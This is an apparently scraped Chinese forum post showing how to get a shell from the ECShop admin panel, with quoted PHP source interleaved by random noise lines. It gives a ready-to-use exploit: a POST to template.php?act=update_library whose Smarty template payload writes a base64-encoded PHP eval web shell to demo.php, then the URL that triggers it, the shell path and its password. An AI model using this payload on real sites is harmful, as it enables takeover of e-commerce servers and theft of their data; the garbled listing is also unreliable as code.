Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
" K* q2 n  D' a; w( H
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& Y. e2 J; {5 |" y! X" L5 d% s% uadmin/template.php

4 Z9 y# y- H. {9 T5 M5 m% X. \9 \1 if ($_REQUEST['act'] == 'update_library')
, N3 }' r% ]% l+ L( I
2   

4 r$ [' `7 i8 E0 o3 {

4     check_authz_json('library_manage');
7 Q. V/ R, g4 g8 ?4 I$ S
5   

( C6 Y. ]8 s. @. [4 p; X" D6     $html = stripslashes(json_str_iconv($_POST['html']));
1 B: c+ O% y0 C+ V4 o5 g
7   

; ^  a( }* u1 [4 M$ v! V2 |8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; y7 q5 H) a  {" y' O/ [
9   
( K. l; u2 f. D/ Y) s- A/ t4 K
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
8 q+ _7 q: l( w) P' ~/ e5 V4 b
4 O  l) b( J" c6 x0 x4 A- @9 N11   

: S4 W4 @6 h4 G, ^8 v12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
" f5 d) B1 @* m+ t5 {; q% `( J* z% J. e
7 Q$ H9 _7 F3 S3 {6 I9 w' Q/ }14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
* f4 D( Y/ I9 c1 C2 E/ w
17         make_json_result('', $_LANG['update_lib_success']);
3 O$ S( Z8 v3 n. |$ C
' d/ G# B' z7 W- A- |2 z18     }

- Q+ J" W# P- D3 W& C19     else

! g1 t1 R- T5 K! C8 Z0 }20     {
/ l. \( [" W8 i  T
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ v, R. _9 p0 U* q9 z0 M
22     }
8 m; l: S2 l" Z9 Y$ y
23 }

那么找个比较方便调用了模板的文件
5 _0 \0 ]- Q2 s0 v, g0 f+ Pindex.php

1 if ($act == 'cat_rec')
! l2 Y. H( v/ N: R2 K
3 H" ?7 g1 h; X  t: [* D8 {2   

$ m$ \" n. r9 o, I( A3 {

4   
! A: T6 I; t* s8 x/ G
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
6 D6 }! `. Q& X: Q9 U! C6 c7 E' S
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 N/ Q+ x" U; v+ p6 K6 D7 K! @
10   
- l% s4 S) r; c" V+ G
11     include_once('includes/cls_json.php');
* S; J+ m4 S7 r. R, a4 q
, o+ Y) W) k8 ^2 G5 c0 z12   
4 Y" J, d& Z: X- w' u
( J0 X; ?/ z3 d& U& c( [6 y9 e- ]13     $json = new JSON;
, Z9 v# K: N/ H
14   
' O3 `6 z3 l5 q0 i& @) K5 ]2 v) \
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

: A+ x8 g& o4 H17     $children = get_children($cat_id);

18   

0 P9 `5 l+ {( J$ n! u; n19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
: v9 |: O8 h5 x8 @: P
0 r' H3 j  Q, i" t/ ]  u20   

21     $smarty->assign('cat_rec_sign', 1);
) \; p5 Y7 T, |. m( m' q
22   
) i8 t/ }# H) W' V
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

$ c6 }. t! U, ?' z3 w26   
) m. P# W: k  \4 h) P
27         echo $rec_array[$rec_type];
: Z. k' o: p6 K
28   
5 r2 U! R8 a3 h/ a
" W9 T" p7 a/ m+ O0 h29     die($json->encode($result));
% V3 A. O& K) M+ T( L4 ]; ?
* |' g9 E/ L* i/ N, g' j9 g: n30   

31 }

那么就有利用方法了
: ?1 D+ J2 j$ u: l3 Jpost包到http://localhost/ec/admin/template.php?act=update_library
  a. T( Q2 @7 W* P+ r4 P7 t$ g0 m$ uPost内容：
) U  v: ]) {! v
​
% X1 T2 q7 E: j( a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
, k8 W- ^# n% q, F- P8 K: j
然后访问http://localhost/ec/index.php?act=cat_rec
! R8 {; k  U4 H, j* \/ s% t
shel地址：http://localhost/ec/demo.php
密码c